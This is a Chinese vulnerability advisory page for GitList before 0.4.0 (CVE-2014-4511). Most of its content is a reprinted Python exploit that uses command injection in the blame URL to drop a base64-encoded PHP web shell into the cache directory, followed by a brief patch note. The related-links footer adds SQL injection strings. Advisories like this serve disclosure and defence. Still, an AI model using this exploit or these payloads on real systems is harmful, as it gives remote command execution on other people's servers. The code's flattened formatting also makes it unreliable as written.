GitList远程代码执行漏洞(CVE-2014-4511)

所属分类: 网络安全 / 漏洞分析 阅读数: 86
收藏 0 赞 0 分享

受影响系统:
GitList GitList < 0.4.0
 GitList GitList
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68253
 CVE(CAN) ID: CVE-2014-4511
 
GitList是用PHP编写的开源软件,是git库浏览器。
 
GitList 0.4.0之前版本在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞执行任意代码。
 
<*来源:drone
  *>
测试方法: --------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


复制代码
代码如下:

from commands import getoutput
import urllib
import sys
from commands import getoutput
import urllib
import sys
"""
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: <a href="http://gitlist.org/">http://gitlist.org/</a>
Software link: <a href="https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz">https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a>
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: <a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>
cve: CVE-2014-4511
"""
if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv[0]
sys.exit(1)
url = sys.argv[1] url = url if url[-1] != '/' else url[:-1]
path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]
print '[!] Using cache location %s' % path
# payload <?system($_GET['cmd']);?> payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="
# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] Failed to drop'
print out

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
GitList
 -------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://gitlist.org/

更多精彩内容其他人还在看

PHP注射一路小跑

  php注射库   ' or 1=1   ' or '1=1   '/*   '%23   ' and password='mypass   id=-1 union select 1,1,1   id=-1 union select char(97),char(97),char
收藏 0 赞 0 分享

网络安全漏洞分析小结

分析漏洞成因,关键步骤之一就是要定位到漏洞代码
收藏 0 赞 0 分享

Discuz论坛短消息未限制发送次数漏洞

  涉及版本:   目前(2003/9/21)所有免费版本(我没有商业版)   描述:   由于pm.php发送消息那部分代码,缺乏对时间间隔的限制。导致任何用户可以对任何用户发送消息炸弹。导致服务器空间、资源被消耗。严重可导致拒绝服务。   具体:   大家可以看到pm.php
收藏 0 赞 0 分享

PHPWIND1.3.6论坛漏洞分析

  PHPWIND 论坛是一款流行的PHP 论坛,界面美观,功能也比较强大。但大家仔细看一下会发现不论是从界面功能还是代码风格,它和 DISCUZ 都非常相似,具体原因我想也就不用说了,毕竟 DISCUZ 出来比它要早很多。
收藏 0 赞 0 分享

IIS 7.0 网站漏洞利用及修复方法

IIS 7.0 网站漏洞利用及修复方法,使用iis 7.0的朋友可以参考下
收藏 0 赞 0 分享

电脑开机速度慢怎么办 教你如何解决

电脑用久了,装的软件,插件,越来越多,所做的操作也会留下很多垃圾文件保持在电脑上,加上电脑硬件也会老化,电脑中毒什么的。都有可能导致电脑开机速度慢。
收藏 0 赞 0 分享

中国移动mas2.0平台系统漏洞暴光 附修复方法

MAS是中国移动的短信代理网关(平台)。MAS是Mobile Agent Server的简称。目前多个政府部门、国有大型企业部门、运营商、金融部门都采用该平台。MAS2.0是中国新一代的代理网关系统。漏洞有可能会泄露使用该平台的单位手机通信录,利用mas发送欺骗短信。
收藏 0 赞 0 分享

人人网CSRF漏洞曝光及修复方案

CSRF(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几
收藏 0 赞 0 分享

讯时后台管理系统v4.9的鸡肋漏洞分析

讯时后台管理系统v4.9版最近发现一个鸡肋漏洞,现在给朋友们分析一下
收藏 0 赞 0 分享

PHP 5.4 (5.4.3) Code Execution (Win32) 代码

PHP 5.4 (5.4.3) Code Execution (Win32)代码
收藏 0 赞 0 分享
查看更多